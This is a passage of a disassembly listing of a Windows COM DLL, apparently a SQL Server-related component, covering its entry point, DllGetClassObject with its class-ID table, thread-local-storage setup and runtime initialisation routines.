leave
retn 0Ch
sub_69B1BFF8 endp
; =============== S U B R O U T I N E =======================================
sub_69B1C04C proc near ; CODE XREF: sub_69B18AE3+3Ap
; sub_69B1BFF8+36p ...
; FUNCTION CHUNK AT 69B24173 SIZE 000006FF BYTES
push 8Ch
push offset dword_69B1C120
call sub_69B19C5C
mov [ebp-1Ch], ecx
mov dword ptr [ebp-20h], 80004002h
and dword ptr [ebp-4], 0
mov esi, [ebp+1Ch]
and dword ptr [esi], 0
mov edi, [ecx+0Ch]
mov [ebp-24h], edi
mov [ebp-28h], edi
mov ebx, [ecx+8]
shr ebx, 18h
and ebx, 1Fh
mov [ebp-2Ch], ebx
mov eax, [ebp+18h]
mov eax, [eax]
mov ecx, 0A6EF9860h
cmp eax, ecx
jbe loc_69B24173
cmp eax, 0DF0B3D60h
jz loc_69B2481E
cmp eax, 0F5078F15h
jz loc_69B247FE
cmp eax, 0F5078F17h
jz loc_69B247F7
cmp eax, 0F5078F2Ch
jz loc_69B247F0
loc_69B1C0C2: ; CODE XREF: sub_69B1C04C+814Aj
mov cl, [edi+8Dh]
mov [ebp-55h], cl
test cl, cl
jnz loc_69B243D8
cmp eax, 2B8DE2FFh
jz loc_69B247A0
cmp eax, 3F7F31ACh
jz loc_69B24755
cmp eax, 0D4D4A0FCh
jz loc_69B2470F
loc_69B1C0F4: ; CODE XREF: sub_69B1C04C+83C8j
; sub_69B1C04C+8587j
cmp ebx, 3
jnz short loc_69B1C10D
loc_69B1C0F9: ; CODE XREF: sub_69B1C04C+8284j
mov eax, [edi]
push esi
push dword ptr [ebp+18h]
push dword ptr [ebp+10h]
push dword ptr [ebp+8]
mov ecx, edi
call dword ptr [eax+38h]
loc_69B1C10A: ; CODE XREF: sub_69B2487B+15j
mov [ebp-20h], eax
loc_69B1C10D: ; CODE XREF: sub_69B1C04C+ABj
; sub_69B1C04C+815Fj ...
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, [ebp-20h]
call sub_69B1853C
retn 18h
sub_69B1C04C endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
dword_69B1C120 dd 0FFFFFFFFh dd offset sub_69B24872
dd offset sub_69B2487B
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B1C12C proc near ; CODE XREF: sub_69B772EC+65p
; DATA XREF: .text:69B1BFB8o
var_14 = byte ptr -14h
var_10 = byte ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
; FUNCTION CHUNK AT 69B1DF1C SIZE 00000021 BYTES
; FUNCTION CHUNK AT 69B1EE40 SIZE 000003AE BYTES
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
mov eax, [edi]
mov esi, ecx
mov ecx, 948C5AD3h
cmp eax, ecx
mov ebx, 80004002h
jbe loc_69B1EE40
mov ecx, 0D242361Eh
cmp eax, ecx
jbe loc_69B1F00A
cmp eax, 0F5078F14h
jz loc_69B1F1CB
cmp eax, 0F52E2B61h
jnz loc_69B1F192
push offset dword_69B1C1A8
loc_69B1C176: ; CODE XREF: sub_69B1C12C+2E9Dj
push edi
call sub_69B1C1B8
test eax, eax
jz short loc_69B1C19F
cmp byte ptr [esi+8Dh], 0
jnz short loc_69B1C19F
xor ebx, ebx
cmp [ebp+arg_4], ebx
jz loc_69B1DF1C
push [ebp+arg_4]
loc_69B1C197: ; CODE XREF: sub_69B1C12C+2D7Bj
push [ebp+arg_C]
call sub_69B17320
loc_69B1C19F: ; CODE XREF: sub_69B1C12C+52j
; sub_69B1C12C+5Bj ...
mov eax, ebx
loc_69B1C1A1: ; CODE XREF: sub_69B1C12C+2FF0j
; sub_69B1C12C+3038j
pop edi
pop esi
pop ebx
leave
retn 10h
sub_69B1C12C endp
; ---------------------------------------------------------------------------
dword_69B1C1A8 dd 0F52E2B61h, 11D118A1h, 800005B1h, 6B91495Fh
; =============== S U B R O U T I N E =======================================
sub_69B1C1B8 proc near ; CODE XREF: sub_69B1C12C+4Bp
; sub_69B1C12C+2D53p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov edx, [eax+4]
mov ecx, [esp+arg_4]
cmp edx, [ecx+4]
jnz short loc_69B1C1DE
mov edx, [eax+8]
cmp edx, [ecx+8]
jnz short loc_69B1C1DE
mov eax, [eax+0Ch]
cmp eax, [ecx+0Ch]
jnz short loc_69B1C1DE
xor eax, eax
inc eax
locret_69B1C1DB: ; CODE XREF: sub_69B1C1B8+28j
retn 8
; ---------------------------------------------------------------------------
loc_69B1C1DE: ; CODE XREF: sub_69B1C1B8+Ej
; sub_69B1C1B8+16j ...
xor eax, eax
jmp short locret_69B1C1DB
sub_69B1C1B8 endp
; =============== S U B R O U T I N E =======================================
sub_69B1C1E2 proc near ; CODE XREF: sub_69B1B0B5:loc_69B1B16Fp
; sub_69B1E3D1:loc_69B1E437p
push esi
mov esi, dword_69B929EC
loc_69B1C1E9: ; CODE XREF: sub_69B1C1E2+1Dj
test esi, esi
jz short loc_69B1C201
mov eax, [esi]
test eax, eax
jz short loc_69B1C1FC
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
and dword ptr [esi], 0
loc_69B1C1FC: ; CODE XREF: sub_69B1C1E2+Fj
mov esi, [esi+4]
jmp short loc_69B1C1E9
; ---------------------------------------------------------------------------
loc_69B1C201: ; CODE XREF: sub_69B1C1E2+9j
pop esi
push esi
mov esi, dword_69B9295C
loc_69B1C209: ; CODE XREF: sub_69B1C1E2+39j
test esi, esi
jnz short loc_69B1C20F
pop esi
retn
; ---------------------------------------------------------------------------
loc_69B1C20F: ; CODE XREF: sub_69B1C1E2+29j
lea eax, [esi+38h]
push eax
call sub_69B17230
mov esi, [esi+14h]
jmp short loc_69B1C209
sub_69B1C1E2 endp
; ---------------------------------------------------------------------------
align 10h
off_69B1C220 dd offset sub_69B2D67E ; DATA XREF: sub_69B1A768+25o
; .text:69B318C7o
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B1C2C8
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B3189C
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B315F1
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B1C258
; =============== S U B R O U T I N E =======================================
sub_69B1C258 proc near ; DATA XREF: .text:69B1C254o
; .text:69B1C2C4o
push esi
mov esi, ecx
call sub_69B1C27E
push 0
lea eax, [esi+20h]
push eax
call sub_69B17320
push 0
lea eax, [esi+24h]
push eax
call sub_69B17320
mov ecx, esi
pop esi
jmp nullsub_5
sub_69B1C258 endp
; =============== S U B R O U T I N E =======================================
sub_69B1C27E proc near ; CODE XREF: sub_69B1C258+3p
; sub_69B70B8C+30p ...
; FUNCTION CHUNK AT 69B23FD2 SIZE 0000003E BYTES
push esi
mov esi, ecx
cmp dword ptr [esi+0Ch], 0
jg loc_69B23FD2
loc_69B1C28B: ; CODE XREF: sub_69B1C27E+7D8Dj
pop esi
retn
sub_69B1C27E endp
; ---------------------------------------------------------------------------
align 10h
off_69B1C290 dd offset sub_69B2D67E ; DATA XREF: sub_69B1A799+12o
; sub_69B31521+Co
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B1C2C8
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B3148F
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B315F1
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B1C258
; =============== S U B R O U T I N E =======================================
sub_69B1C2C8 proc near ; DATA XREF: .text:69B16CF8o
; .text:69B1C22Co ...
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B1C2E3
test [esp+4+arg_0], 1
jz short loc_69B1C2DD
push esi
call sub_69B1829F
loc_69B1C2DD: ; CODE XREF: sub_69B1C2C8+Dj
mov eax, esi
pop esi
retn 4
sub_69B1C2C8 endp
; =============== S U B R O U T I N E =======================================
sub_69B1C2E3 proc near ; CODE XREF: sub_69B1C2C8+3p
push esi
mov esi, ecx
lea eax, [esi+24h]
push eax
call sub_69B17230
lea eax, [esi+20h]
push eax
call sub_69B17230
mov ecx, esi
pop esi
jmp sub_69B186FA
sub_69B1C2E3 endp
; =============== S U B R O U T I N E =======================================
sub_69B1C300 proc near ; CODE XREF: sub_69B1DBFF+4Dp
; FUNCTION CHUNK AT 69B234D5 SIZE 00000017 BYTES
push ebx
push ebp
push esi
push edi
push 1Ch
mov ebp, ecx
call sub_69B11E44
test eax, eax
jz short loc_69B1C34E
push ebp
mov ecx, eax
call sub_69B11E54
mov esi, eax
loc_69B1C31B: ; CODE XREF: sub_69B1C300+50j
test esi, esi
jz short loc_69B1C347
push 1 ; flProtect
push 2000h ; flAllocationType
mov ebx, 20000h
push ebx ; dwSize
push 0 ; lpAddress
call ds:VirtualAlloc ; VirtualAlloc
mov edi, eax
test edi, edi
jz loc_69B234D5
push ebx
push edi
call sub_69B1C352
mov [esi], edi
loc_69B1C347: ; CODE XREF: sub_69B1C300+1Dj
mov eax, esi
loc_69B1C349: ; CODE XREF: sub_69B1C300+71E7j
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_69B1C34E: ; CODE XREF: sub_69B1C300+Fj
xor esi, esi
jmp short loc_69B1C31B
sub_69B1C300 endp
; =============== S U B R O U T I N E =======================================
sub_69B1C352 proc near ; CODE XREF: sub_69B19D0A+6Ep
; sub_69B1C300+40p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, dword_69B929E8
test esi, esi
jz short loc_69B1C36A
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0Ch]
mov esi, dword_69B929E8
loc_69B1C36A: ; CODE XREF: sub_69B1C352+9j
mov eax, [esp+4+arg_4]
test eax, eax
mov edx, [esp+4+arg_0]
jle short loc_69B1C3A3
push ebx
push edi
lea edi, [eax-1]
shr edi, 10h
inc edi
loc_69B1C37F: ; CODE XREF: sub_69B1C352+4Dj
mov ecx, edx
shr ecx, 10h
mov eax, ecx
and ecx, 7
mov bl, 1
shl bl, cl
shr eax, 3
lea eax, dword_69B929F8[eax]
add edx, 10000h
or [eax], bl
dec edi
jnz short loc_69B1C37F
pop edi
pop ebx
loc_69B1C3A3: ; CODE XREF: sub_69B1C352+22j
test esi, esi
jz short loc_69B1C3AE
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+10h]
loc_69B1C3AE: ; CODE XREF: sub_69B1C352+53j
pop esi
retn 8
sub_69B1C352 endp
; =============== S U B R O U T I N E =======================================
sub_69B1C3B2 proc near ; DATA XREF: .text:69B1F230o
add ecx, 10h
push ecx ; lpCriticalSection
call ds:LeaveCriticalSection
retn
sub_69B1C3B2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; BOOL __stdcall DllEntryPoint(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
public DllEntryPoint
DllEntryPoint proc near
hinstDLL = dword ptr 8
fdwReason = dword ptr 0Ch
lpReserved = dword ptr 10h
; FUNCTION CHUNK AT 69B22B12 SIZE 0000003A BYTES
push ebp
mov ebp, esp
mov eax, [ebp+fdwReason]
push esi
xor esi, esi
sub eax, esi
jz short loc_69B1C40B
dec eax
jnz loc_69B22B12
call sub_69B1ABCC
test eax, eax
jz short loc_69B1C436
push [ebp+lpReserved]
push 1
push [ebp+hinstDLL]
call sub_69B1BAE5
test eax, eax
jz short loc_69B1C436
push [ebp+hinstDLL]
call sub_69B1B7AD
test eax, eax
jz short loc_69B1C436
mov dword_69B92940, esi
mov dword_69B9293C, esi
loc_69B1C403: ; CODE XREF: DllEntryPoint+77j
; DllEntryPoint+6759j ...
xor eax, eax
inc eax
loc_69B1C406: ; CODE XREF: DllEntryPoint+7Bj
pop esi
pop ebp
retn 0Ch
; ---------------------------------------------------------------------------
loc_69B1C40B: ; CODE XREF: DllEntryPoint+Bj
cmp [ebp+lpReserved], esi
jnz loc_69B22B3D
loc_69B1C414: ; CODE XREF: DllEntryPoint+678Aj
push [ebp+lpReserved]
mov dword_69B92940, esi
push esi
push [ebp+hinstDLL]
call sub_69B1BAE5
test eax, eax
jz short loc_69B1C436
call sub_69B1E3D1
call sub_69B1C43A
jmp short loc_69B1C403
; ---------------------------------------------------------------------------
loc_69B1C436: ; CODE XREF: DllEntryPoint+1Bj
; DllEntryPoint+2Cj ...
xor eax, eax
jmp short loc_69B1C406
DllEntryPoint endp
; =============== S U B R O U T I N E =======================================
sub_69B1C43A proc near ; CODE XREF: DllEntryPoint+72p
; FUNCTION CHUNK AT 69B120CA SIZE 00000011 BYTES
push esi
mov esi, dword_69B9295C
loc_69B1C441: ; CODE XREF: sub_69B1C43A-A364j
test esi, esi
jnz loc_69B120CA
call sub_69B1ADD6
call sub_69B1B4E4
call sub_69B1E5CC
call sub_69B1C469
push offset dword_69B92978
call sub_69B17230
pop esi
retn
sub_69B1C43A endp
; =============== S U B R O U T I N E =======================================
sub_69B1C469 proc near ; CODE XREF: sub_69B1C43A+1Ep
mov eax, lpMem
test eax, eax
push esi
mov esi, ds:HeapFree
jz short loc_69B1C484
push eax ; lpMem
push 0 ; dwFlags
push hHeap ; hHeap
call esi ; HeapFree
loc_69B1C484: ; CODE XREF: sub_69B1C469+Ej
mov eax, dword_69B92984
test eax, eax
jz short loc_69B1C498
push eax ; lpMem
push 0 ; dwFlags
push hHeap ; hHeap
call esi ; HeapFree
loc_69B1C498: ; CODE XREF: sub_69B1C469+22j
pop esi
retn
sub_69B1C469 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B11383
loc_69B1C49A: ; CODE XREF: sub_69B11383+B173j
cmp eax, 3
jnz short loc_69B1C4FC
jmp loc_69B24EA0
; ---------------------------------------------------------------------------
loc_69B1C4A4: ; CODE XREF: sub_69B11383+48j
cmp [ebp-2Ah], si
jnz loc_69B24DA9
loc_69B1C4AE: ; CODE XREF: sub_69B11383+13A2Bj
; sub_69B11383+13AA7j ...
xor ebx, ebx
loc_69B1C4B0: ; CODE XREF: sub_69B11383+B194j
lea eax, [ebx+ebx*8]
mov ecx, dword_69B96020
lea esi, [ecx+eax*4]
cmp dword ptr [esi], 0FFFFFFFFh
jnz short loc_69B1C538
mov byte ptr [esi+4], 81h
test ebx, ebx
jz short loc_69B1C52D
mov eax, ebx
dec eax
neg eax
sbb eax, eax
add eax, 0FFFFFFF5h
loc_69B1C4D3: ; CODE XREF: sub_69B11383+B1ADj
push eax ; nStdHandle
call ds:GetStdHandle ; GetStdHandle
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_69B1C532
push edi ; hFile
call ds:GetFileType ; GetFileType
test eax, eax
jz short loc_69B1C532
mov [esi], edi
and eax, 0FFh
cmp eax, 2
jnz short loc_69B1C49A
or byte ptr [esi+4], 40h
loc_69B1C4FC: ; CODE XREF: sub_69B11383+B11Aj
; sub_69B11383+13B21j
push 0FA0h
lea eax, [esi+0Ch]
push eax
call sub_69B19C19
pop ecx
pop ecx
test eax, eax
jz short loc_69B1C53E
inc dword ptr [esi+8]
loc_69B1C513: ; CODE XREF: sub_69B11383+B1B3j
; sub_69B11383+B1B9j
inc ebx
cmp ebx, 3
jl short loc_69B1C4B0
push uNumber ; uNumber
call ds:SetHandleCount ; SetHandleCount
xor eax, eax
loc_69B1C527: ; CODE XREF: sub_69B11383+B1BEj
; sub_69B24EAD+9j
call sub_69B1853C
retn
; ---------------------------------------------------------------------------
loc_69B1C52D: ; CODE XREF: sub_69B11383+B144j
push 0FFFFFFF6h
pop eax
jmp short loc_69B1C4D3
; ---------------------------------------------------------------------------
loc_69B1C532: ; CODE XREF: sub_69B11383+B15Cj
; sub_69B11383+B167j
or byte ptr [esi+4], 40h
jmp short loc_69B1C513
; ---------------------------------------------------------------------------
loc_69B1C538: ; CODE XREF: sub_69B11383+B13Cj
or byte ptr [esi+4], 80h
jmp short loc_69B1C513
; ---------------------------------------------------------------------------
loc_69B1C53E: ; CODE XREF: sub_69B11383+2Bj
; sub_69B11383+B18Bj ...
or eax, 0FFFFFFFFh
jmp short loc_69B1C527
; END OF FUNCTION CHUNK FOR sub_69B11383
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR DllGetClassObject
loc_69B1C543: ; CODE XREF: DllGetClassObject+45j
add ebx, 10h
jmp short loc_69B1C572
; END OF FUNCTION CHUNK FOR DllGetClassObject
; Exported entry 14. DllGetClassObject
; =============== S U B R O U T I N E =======================================
; HRESULT __stdcall DllGetClassObject(const CLSID *const rclsid, const IID *const riid, LPVOID *ppv)
public DllGetClassObject
DllGetClassObject proc near
rclsid = dword ptr 4
riid = dword ptr 8
ppv = dword ptr 0Ch
; FUNCTION CHUNK AT 69B1C543 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 69B22925 SIZE 00000066 BYTES
push 20h
push offset dword_69B1C860
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edx, edx
cmp eax, edx
jz loc_69B22925
mov [ebp-20h], edx
mov [ebp-4], edx
mov ebx, offset off_69B1C630
loc_69B1C572: ; CODE XREF: DllGetClassObject-2j
mov [ebp-24h], ebx
cmp [ebx], edx
jz loc_69B1C606
mov edi, [ebx+4]
mov [ebp-28h], edi
push 4
pop ecx
mov esi, [ebp+8]
xor eax, eax
repe cmpsd
jnz short loc_69B1C543
push 4
pop ecx
mov edi, offset dword_69B12178
mov esi, [ebp+8]
xor eax, eax
repe cmpsd
jz short loc_69B1C5EA
cmp byte_69B92998, al
jnz short loc_69B1C5EA
push dword_69B929E8
lea ecx, [ebp-2Ch]
call sub_69B18E23
cmp byte_69B92998, 0
jnz short loc_69B1C5E2
call sub_69B1889C
call sub_69B1D4E5
call sub_69B1BB42
mov byte_69B92998, 1
cmp dword_69B9296C, 0
jnz loc_69B2292F
loc_69B1C5E2: ; CODE XREF: DllGetClassObject+75j
; DllGetClassObject+63FBj
lea ecx, [ebp-2Ch]
call sub_69B1900C
loc_69B1C5EA: ; CODE XREF: DllGetClassObject+56j
; DllGetClassObject+5Ej
cmp dword_69B9296C, 0
jnz loc_69B22948
loc_69B1C5F7: ; CODE XREF: DllGetClassObject+6425j
; DllGetClassObject+6432j
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push ebx
call sub_69B1CA20
mov [ebp-20h], eax
loc_69B1C606: ; CODE XREF: DllGetClassObject+2Fj
cmp dword ptr [ebx], 0
jz loc_69B2297F
loc_69B1C60F: ; CODE XREF: DllGetClassObject+643Ej
; sub_69B22994+18j
or dword ptr [ebp-4], 0FFFFFFFFh
cmp dword ptr [ebp-1Ch], 0
jz short loc_69B1C622
push dword ptr [ebp-1Ch]
call dword_69B92944
loc_69B1C622: ; CODE XREF: DllGetClassObject+CFj
mov eax, [ebp-20h]
loc_69B1C625: ; CODE XREF: DllGetClassObject+63E2j
call sub_69B1853C
retn 0Ch
DllGetClassObject endp
; ---------------------------------------------------------------------------
align 10h
off_69B1C630 dd offset off_69B1C90C ; DATA XREF: DllGetClassObject+25o
dd offset loc_69B1C9D0
dd offset sub_69B1D617
align 10h
dd offset off_69B1C90C
dd offset dword_69B12128
dd offset sub_69B1D617
align 10h
dd offset off_69B1C90C
dd offset dword_69B1C86C
dd offset sub_69B1D617
align 10h
dd offset off_69B1C90C
dd offset byte_69B1C9C0
dd offset sub_69B3D099
align 10h
dd offset off_69B1C90C
dd offset dword_69B12158
dd offset sub_69B3D099
align 10h
dd offset off_69B1C90C
dd offset stru_69B12148
dd offset sub_69B3D099
align 10h
dd offset off_69B1C90C
dd offset dword_69B1C920
dd offset sub_69B3D0C6
align 10h
dd offset off_69B1C90C
dd offset dword_69B1C930
dd offset sub_69B3D0C6
align 10h
dd offset off_69B1C90C
dd offset dword_69B1C940
dd offset sub_69B3D0C6
align 10h
dd offset off_69B1C90C
dd offset dword_69B1C990
dd offset sub_69B3CF5C
align 10h
dd offset off_69B1C90C
dd offset dword_69B1C9E0
dd offset sub_69B3D1DE
align 10h
dd offset off_69B1C90C
dd offset dword_69B12178
dd offset sub_69B3D1DE
align 10h
dd offset off_69B1C90C
dd offset stru_69B12168
dd offset sub_69B3D1DE
align 10h
dd offset off_69B1C90C
dd offset dword_69B1C9F0
dd offset loc_69B779BC
align 10h
dd offset off_69B1C90C
dd offset dword_69B1C88C
dd offset loc_69B779BC
align 10h
dd offset off_69B1C90C
dd offset dword_69B1C87C
dd offset loc_69B779BC
align 10h
dd offset off_69B1C90C
dd offset dword_69B1C950
dd offset sub_69B80057
dd 1
dd offset off_69B1C90C
dd offset dword_69B1C960
dd offset sub_69B80057
dd 1
dd offset off_69B1C90C
dd offset dword_69B14600
dd offset sub_69B80057
dd 1
dd offset off_69B1C90C
dd offset dword_69B1C970
dd offset sub_69B7EA18
align 10h
dd offset off_69B1C90C
dd offset dword_69B1C980
dd offset sub_69B7EA18
align 10h
dd offset off_69B1C90C
dd offset dword_69B14600+10h
dd offset sub_69B7EA18
align 10h
dd offset off_69B1C90C
dd offset dword_69B1CA00
dd offset sub_69B7DFAE
align 10h
dd offset off_69B1C90C
dd offset dword_69B1C8CC
dd offset sub_69B7DFAE
align 10h
dd offset off_69B1C90C
dd offset dword_69B1C8BC
dd offset sub_69B7DFAE
align 10h
dd offset off_69B1C90C
dd offset loc_69B1CA10
dd offset sub_69B3D05C
align 10h
dd offset off_69B1C90C
dd offset dword_69B12128+10h
dd offset sub_69B3D05C
align 10h
dd offset off_69B1C90C
dd offset dword_69B1C8FC
dd offset sub_69B3D05C
align 10h
dd offset off_69B1C90C
dd offset dword_69B1C9A0
dd offset sub_69B5FE43
align 10h
dd offset off_69B1C90C
dd offset dword_69B1C9B0
dd offset sub_69B5FE43
align 10h
dd offset off_69B1C90C
dd offset dword_69B1C8EC
dd offset sub_69B3CE6E
align 10h
dd offset off_69B1C90C
dd offset dword_69B1C8DC
dd offset sub_69B3CE6E
align 10h
dd offset off_69B1C90C
dd offset dword_69B1C8AC
dd offset loc_69B3BB9A
align 10h
dd offset off_69B1C90C
dd offset dword_69B1C89C
dd offset loc_69B3BB9A
dd 5 dup(0)
dword_69B1C860 dd 0FFFFFFFFh dd offset sub_69B2298B
dd offset sub_69B22994
dword_69B1C86C dd 0F5078F22h, 11D3C551h, 0B989h, 21E21FF8hdword_69B1C87C dd 0F5078F1Fh, 11D3C551h, 0B989h, 21E21FF8hdword_69B1C88C dd 0F6D90F14h, 11D39C73h, 0C0002EB3h, 0B40B994Fh
; DATA XREF: .text:69B1C714o
dword_69B1C89C dd 0F5078F21h, 11D3C551h, 0B989h, 21E21FF8hdword_69B1C8AC dd 2933BF94h, 11D27B36h, 0C0000EB2h, 603E984Fhdword_69B1C8BC dd 0F5078F1Eh, 11D3C551h, 0B989h, 21E21FF8hdword_69B1C8CC dd 0F6D90F16h, 11D39C73h, 0C0002EB3h, 0B40B994Fh
; DATA XREF: .text:69B1C7A4o
dword_69B1C8DC dd 0F5078F1Dh, 11D3C551h, 0B989h, 21E21FF8hdword_69B1C8EC dd 373984C9h, 449BB845h, 0AC45E791h, 0DE6A0383hdword_69B1C8FC dd 0F5078F1Ch, 11D3C551h, 0B989h, 21E21FF8hoff_69B1C90C dd offset sub_69B1CA20 ; DATA XREF: .text:off_69B1C630o
; .text:69B1C640o ...
dd offset sub_69B1EC38
dd offset sub_69B1EC38
dd offset sub_69B1E7D2
dd offset sub_69B2C55A
dword_69B1C920 dd 379E501Fh, 11D1B231h, 8000C1ADh, 0D852C75Fhdword_69B1C930 dd 0F6D90F13h, 11D39C73h, 0C0002EB3h, 0B40B994Fh
; DATA XREF: .text:69B1C6A4o
dword_69B1C940 dd 0F5078F25h, 11D3C551h, 0B989h, 21E21FF8hdword_69B1C950 dd 48123BC4h, 11D199D9h, 0C000B3A6h, 5515D94Fhdword_69B1C960 dd 0F6D90F15h, 11D39C73h, 0C0002EB3h, 0B40B994Fh
; DATA XREF: .text:69B1C744o
dword_69B1C970 dd 7E3FCEA1h, 11D231B4h, 80001FAEh, 0A17E33C7hdword_69B1C980 dd 0F5078F1Ah, 11D3C551h, 0B989h, 21E21FF8hdword_69B1C990 dd 989D1DC0h, 11D1B162h, 7DD2ECB6h, 23A9F9DChdword_69B1C9A0 dd 0F5078F27h, 11D3C551h, 0B989h, 21E21FF8hdword_69B1C9B0 dd 0F5078F26h, 11D3C551h, 0B989h, 21E21FF8hbyte_69B1C9C0 db 90h ; DATA XREF: .text:69B1C664o
; ---------------------------------------------------------------------------
mov edi, 7B362933h
rcl byte ptr [ecx], cl
mov dl, 0Eh
add al, al
dec edi
cwde
db 3Eh
pusha
loc_69B1C9D0: ; DATA XREF: .text:69B1C634o
scasd
cdq
retn
; ---------------------------------------------------------------------------
db 0CFh
dd 11D0D876h, 0C000109Ch, 8E9CC94Fh
dword_69B1C9E0 dd 0D2423620h, 11D251A0h, 6000AF9Ch, 393DECB0hdword_69B1C9F0 dd 550DDA30h, 11D20541h, 6000A99Ch, 393DECB0hdword_69B1CA00 dd 0ED8C108Eh, 11D24349h, 0C000A491h, 0E869794Fh
; DATA XREF: .text:69B1C794o
; ---------------------------------------------------------------------------
loc_69B1CA10: ; DATA XREF: .text:69B1C7C4o
xchg eax, ecx
mov edi, 7B362933h
rcl byte ptr [ecx], cl
mov dl, 0Eh
add al, al
dec edi
cwde
db 3Eh
pusha
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B1CA20 proc near ; CODE XREF: DllGetClassObject+B6p
; .text:69B2C579j
; DATA XREF: ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
; FUNCTION CHUNK AT 69B22B5B SIZE 00000010 BYTES
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_4]
push edi
push 4
pop ecx
mov edi, offset stru_69B1CA6C
xor eax, eax
repe cmpsd
jz short loc_69B1CA4B
mov esi, [ebp+arg_4]
push 4
pop ecx
mov edi, offset dword_69B1CA5C
xor eax, eax
repe cmpsd
jnz loc_69B22B5B
loc_69B1CA4B: ; CODE XREF: sub_69B1CA20+14j
mov eax, [ebp+arg_8]
mov ecx, [ebp+arg_0]
mov [eax], ecx
xor eax, eax
loc_69B1CA55: ; CODE XREF: sub_69B1CA20+6146j
pop edi
pop esi
pop ebp
retn 0Ch
sub_69B1CA20 endp
; ---------------------------------------------------------------------------
align 4
dword_69B1CA5C dd 1, 0 dd 0C0h, 46000000h
; IID stru_69B1CA6C
stru_69B1CA6C dd 0 ; Data1 ; DATA XREF: sub_69B19B6A+Bo
; sub_69B1CA20+Bo ...
dw 0 ; Data2
dw 0 ; Data3
db 0C0h, 6 dup(0), 46h ; Data4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=78h
sub_69B1CA7C proc near ; CODE XREF: sub_69B1ABCC+18p
VersionInformation= _OSVERSIONINFOA ptr -9Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 69B22C8B SIZE 00000081 BYTES
push ebp
lea ebp, [esp-78h]
sub esp, 9Ch
mov eax, dword_69B92170
xor eax, [ebp+7Ch]
cmp dword_69B92968, 0
push ebx
push esi
mov esi, ds:GetProcAddress
mov [ebp+78h+var_4], eax
push edi
jnz loc_69B1CBA8
push 0
call ds:SHLWAPI_83
mov edi, eax
test edi, edi
mov dword_69B92968, 1
jz loc_69B1CBA8
push offset ProcName ; "_TlsGetValueSQLServer@4"
push edi ; hModule
call esi ; GetProcAddress
push offset a_tlssetvaluesq ; "_TlsSetValueSQLServer@8"
push edi ; hModule
mov ebx, eax
call esi ; GetProcAddress
push offset a_tlssetvalueex ; "_TlsSetValueExSQLServer@12"
push edi ; hModule
mov [ebp+78h+var_8], eax
call esi ; GetProcAddress
test ebx, ebx
jnz loc_69B22C8B
loc_69B1CAE9: ; CODE XREF: sub_69B1CA7C+6218j
and dword_69B9296C, 0
loc_69B1CAF0: ; CODE XREF: sub_69B1CA7C+139j
mov eax, ds:TlsGetValue
and dword_69B9297C, 0
mov dword_69B92970, eax
mov eax, ds:TlsSetValue
mov dword_69B92974, eax
loc_69B1CB0B: ; CODE XREF: sub_69B1CA7C+133j
mov dword_69B92948, offset sub_69B19BB4
mov dword_69B92944, offset sub_69B1E818
call ds:TlsAlloc ; TlsAlloc
mov dwTlsIndex, eax
lea eax, [ebp+78h+VersionInformation]
push eax ; lpVersionInformation
mov [ebp+78h+VersionInformation.dwOSVersionInfoSize], 94h
call ds:GetVersionExA ; GetVersionExA
test eax, eax
jz loc_69B22CDF
loc_69B1CB43: ; CODE XREF: sub_69B1CA7C+6268j
mov eax, [ebp+78h+VersionInformation.dwPlatformId]
cmp eax, 1
mov dword_69B92954, eax
jz loc_69B22CE9
push offset ModuleName ; "kernel32.dll"
call ds:GetModuleHandleA ; GetModuleHandleA
mov edi, eax
test edi, edi
jz short loc_69B1CBBA
push offset aInterlockedcom ; "InterlockedCompareExchange"
push edi ; hModule
call esi ; GetProcAddress
test eax, eax
mov dword_69B92950, eax
jz loc_69B22D02
loc_69B1CB7A: ; CODE XREF: sub_69B1CA7C+628Bj
push offset aInterlockedexc ; "InterlockedExchangeAdd"
push edi ; hModule
call esi ; GetProcAddress
test eax, eax
mov dword_69B9294C, eax
jz short loc_69B1CBBA
loc_69B1CB8B: ; CODE XREF: sub_69B1CA7C+143j
; sub_69B1CA7C+6281j
call sub_69B1CC44
mov ecx, [ebp+78h+var_4]
xor ecx, [ebp+7Ch]
pop edi
pop esi
mov dword_69B92958, eax
pop ebx
call sub_69B1B9F6
add ebp, 78h
leave
retn
; ---------------------------------------------------------------------------
